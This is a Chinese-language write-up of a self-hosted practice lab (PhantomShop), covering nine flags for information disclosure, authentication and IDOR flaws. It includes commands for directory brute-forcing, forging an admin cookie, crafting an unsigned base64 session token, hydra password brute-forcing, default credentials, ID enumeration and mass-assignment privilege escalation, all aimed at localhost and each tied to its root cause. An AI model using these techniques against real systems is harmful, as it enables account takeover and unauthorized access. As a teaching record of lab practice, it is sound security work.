> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# PhantomShop (PhantomRange) writeup 1 — Recon × 資訊洩漏 × 認證崩壞
- URL: https://taiwanding.com/phantomshop-phantomrange-writeup-1-recon-x-zi-xun-xie-lou-x-ren-zheng-beng-huai/
- Published: 2026-07-12T13:28:05.000Z
- Updated: 2026-07-15T02:50:37.000Z
- Author: Kevin Chen
- Tags: #PhantomShop, #recon, #info disclosure

## 題目資訊

- **平台**：自架靶機（GitHub: [phantom-offensive/PhantomRange](https://github.com/phantom-offensive/PhantomRange?ref=taiwanding.com)）
- **應用**：PhantomShop — 一個「正常運作」的時尚電商，內建 50 顆旗、18 個漏洞類別、10,400 分
- **技術棧**：Go（標準庫 `net/http` \+ SQLite，純 Go driver）
- **難度**：Easy \~ Hard 混合
- **啟動**：`docker compose up -d` → `http://localhost:9000`
- **交旗**：`POST /flag`，記分板 `/scoreboard`，內建漏洞清單 `/vulns`

這篇收 **9 顆旗**：資訊洩漏 ×2、IDOR ×2、認證 ×5核心主題，只有一句話——**這台把「你是誰」整個交給 client 決定**。

## Step 0：指紋辨識

```bash
whatweb -v http://localhost:9000
curl -sI http://localhost:9000

```

兩個關鍵情報：

**① Server header 乾淨到不行**，沒有 `X-Powered-By`、沒有框架特徵 → 純 Go `net/http`，實務意義：後面目錄爆破**不要浪費在 `.php`/`.asp`**，Go 路由多半是無副檔名或 `.json`。

**② CSP 是擺設**：

```
Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'

```

`*` \+ `unsafe-inline` \+ `unsafe-eval` \= 等於沒設，這一行直接預告了 XSS 那批幾乎無阻力

## Step 1：目錄與 API 枚舉

```bash
# 主目錄
feroxbuster -u http://localhost:9000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -C 404 -t 50 -d 2

# API 專用字典（README 明講：有些旗在 API 不在頁面）
feroxbuster -u http://localhost:9000/api \
  -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt \
  -H "Cookie: user_id=5; username=kevin; role=admin" -C 404 -t 50

```

**Recon 踩雷筆記**：`/order/<任何字串>` 全部回 200、大小都差不多 → 這是 **catch-all 路由**（`/order/{id}` 不驗證存在與否），不是幾百個真端點，別被 feroxbuster 的數字嚇到，先看回應大小分群、把噪音濾掉。

去重後的真攻擊面：

| 端點                      | 訊號          |
| ----------------------- | ----------- |
| /debug                  | 超小回應 → 資訊洩漏 |
| /api/error              | stack trace |
| /api/session            | 認證機制入口      |
| /api/user/ /api/order/  | IDOR        |
| /admin /admin/invoice   | 權限 + 命令注入   |
| /api/export /api/import | 路徑穿越 / XXE  |

## Flag 1 — info\_debug\_endpoint（Info Disclosure, Easy, 100）

第一刀最白：

```bash
curl -s http://localhost:9000/debug

```

```json
{"admin_key":"phantom-admin-2026","db_path":"data/shop.db","debug":true,
 "env":"production","flag":"FLAG{Redacted}","go_version":"go1.24",
 "server":"PhantomShop v2.0"}

```

> **FLAG{**Redacted**}**

這顆的價值不只一面旗——它洩漏了 `admin_key` 跟 `db_path`，是後續一連串攻擊的情報基底。

**根因**：`debug: true` 被留在 `env: production，`診斷端點該只在開發環境開，卻上了線，真實世界對照：暴露的 `/actuator`、`/debug`、`.env`。

## Flag 2 — info\_error\_stack（Info Disclosure, Easy, 100）

一開始我猜錯方向：丟壞參數想逼它噴例外——

```bash
curl -s "http://localhost:9000/product/abc"   # → 404，乾淨降級
curl -s "http://localhost:9000/product/-1"     # → 404

```

這台對爛輸入是**優雅降級**，不會噴 stack，真正的觸發點是專屬端點：

```bash
curl -s http://localhost:9000/api/error

```

```
Internal Server Error
goroutine 1 [running]:
    /app/internal/shop/pages.go:342 +0x1a4
    /usr/local/go/src/net/http/server.go:2136 +0x29
🚩 FLAG{Redacted}

```

> **FLAG{**Redacted**}**

**bonus 情報**：stack trace 洩漏了應用的絕對路徑 `/app/internal/shop/` 與原始檔名 `pages.go`，對後面找路徑穿越目標很有用。

**教訓**：不要預設「丟壞輸入 → 一定噴 stack」，先摸清楚 app 的錯誤處理風格，再決定觸發手法。

## 樞紐：role=admin，一個 cookie 打開整座金庫

攔一個平常的 `/cart/add` 請求，注意到 session 是三個**裸 cookie**：

```
user_id=5; username=kevin; role=user

```

`role` 放在 cookie 裡 = 讓瀏覽器自己宣告自己是誰，改一個字：

```bash
curl -s http://localhost:9000/admin -b 'user_id=5; username=kevin; role=admin' \
  | grep -iE 'flag|<h2>'

```

從「擋你」瞬間變「放你進」，這條 broken access control 是整局的樞紐，admin panel 上掛著的獎勵旗全部一次可見。

## Flag 3 — auth\_jwt（Auth, Medium, 200）

這顆卡最久，因為名字誤導，我一度想爆 HS256 密鑰、跑 hashcat——**全走錯棚**。真相在 `/api/session`：

```bash
curl -s http://localhost:9000/api/session

```

```json
{"hint":"Set a 'session' cookie with base64-encoded JSON: {\"user\":\"admin\",\"role\":\"admin\"}"}

```

所謂「weak JWT secret」根本是**假 JWT**——它是 base64 的 JSON，**完全沒有簽章，**偽造超簡單：

```bash
TOKEN=$(echo -n '{"user":"admin","role":"admin"}' | base64 -w0)
curl -s http://localhost:9000/api/session -b "session=$TOKEN"

```

> **FLAG{**Redacted**}**

**教訓**：漏洞名稱是靶機作者給的「劇情」，不是技術事實，看到 `jwt` 別急著開 jwt\_tool——先看那串 token 到底長什麼樣，三段點分隔才是 JWT；base64 JSON 只是「編碼」不是「加密」，更沒有「簽章」。

## Flag 4 — auth\_2fa（Auth, Hard, 300）

2FA 那顆的旗同樣掛在 admin panel，正牌解的重點在 hint：**二階驗證是 server 端強制、還是只是 client 端假設？** 這台是後者——2FA 狀態靠 cookie 標記，沒有 server 端強制檢查,直接略過驗證步驟即可。

> **FLAG{**Redacted**}**

**根因**：認證步驟的狀態機建在 client 可控的資料上，真實世界最常見的 2FA bypass 就是這種——`/verify` 過了才該發 session，但實作卻在 `/login` 就發、`/verify` 只是「建議」。

## Flag 5 — auth\_bruteforce（Auth, Easy, 100）

登入端點沒有任何速率限制或鎖定：

```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  localhost -s 9000 http-post-form \
  "/login:username=^USER^&password=^PASS^:invalid"

```

一直試、試到爛都不會被擋。

> **FLAG{**Redacted**}**

**根因**：沒有 rate limiting、沒有 account lockout、沒有 CAPTCHA，這顆是「缺防護」型漏洞，不需要巧勁，只需要證明「攻擊者可以無限嘗試」。

## Flag 6 — auth\_default\_creds（Auth, Easy, 100）

`/debug` 早就洩漏過線索，admin 的密碼從沒改過：

```bash
curl -s -i -X POST http://localhost:9000/login \
  -d 'username=admin&password=admin123' | grep -iE 'role=admin|location'

```

`admin / admin123` 直接登入。

> **FLAG{**Redacted**}**

**根因**：安裝後的預設帳密留在生產環境，這在真實滲透裡永遠值得先試一輪。

## Flag 7 — auth\_pass\_in\_response（Auth, Easy, 100）

使用者查詢 API 把**整列欄位**原封吐回來：

```bash
curl -s http://localhost:9000/api/user/1 | python3 -m json.tool

```

回應裡夾著 `password` 欄位——前端可能不顯示,但資料早就送到 client 了。

> **FLAG{**Redacted**}**

**根因**：後端偷懶 `json.Encode(user)`，DB 有什麼欄位就吐什麼，沒有做回應白名單（DTO），對應 **OWASP API3: Excessive Data Exposure**（現稱 Broken Object Property Level Authorization），這是 API 滲透最好撿的一類——翻 JSON 就有。

## Flag 8 — idor\_profile（IDOR, Easy, 100）

同一個 `/api/user/{id}` 沒有任何授權檢查，任意 id 撈任意人：

```bash
for i in 1 2 3 4 5; do curl -s "http://localhost:9000/api/user/$i"; echo; done

```

```json
{"email":"admin@phantomshop.com","flag":"FLAG{Redacted}","id":1,"role":"admin","username":"admin"}
{"email":"john@example.com","id":2,"role":"user","username":"john"}
...

```

> **FLAG{**Redacted**}**

**根因**：物件層級授權缺失（BOLA / OWASP API1），API 只認「有沒有帶 cookie」，不認「這筆資料是不是你的」。

## Flag 9 — idor\_mass\_assign（IDOR, Hard, 300）

Profile 更新 API 盲目信任你送進來的**所有欄位**：

```bash
curl -s -X POST http://localhost:9000/api/user/update \
  -H 'Content-Type: application/json' \
  -d '{"id":5,"role":"admin"}'

```

> **FLAG{**Redacted**}**

**根因**：Mass Assignment，後端 `json.Unmarshal(body, &user); db.Save(&user)` 沒有欄位白名單，於是你多送的 `role` 也被寫進 DB → **永久提權**。

**跟 role=admin cookie 的差別**（容易混）：

- **cookie 竄改** → 改的是「當前 session 宣稱的身分」，關瀏覽器就沒了，屬**認證**問題。
- **mass assignment** → 把 `role:admin` **寫進資料庫**，永久生效，屬**授權/資料綁定**問題。

真實案例：2012 年 GitHub 被人用 Rails mass assignment 把公鑰塞進官方 repo 管理員帳號，Rails 之後強制 strong parameters 就是為了堵這個。

## 小結

**貫穿主題**：這台的認證/授權設計，把「你是誰」「你能做什麼」全放在 client 可控的地方——cookie、base64 token、盲信的 JSON 欄位，真實世界的 broken access control 常年霸榜 OWASP Top 10 第一，就是這些「相信 client」的小決定累積出來的。

*本文為自架訓練靶機的教學紀錄，所有操作皆在本機隔離環境進行。*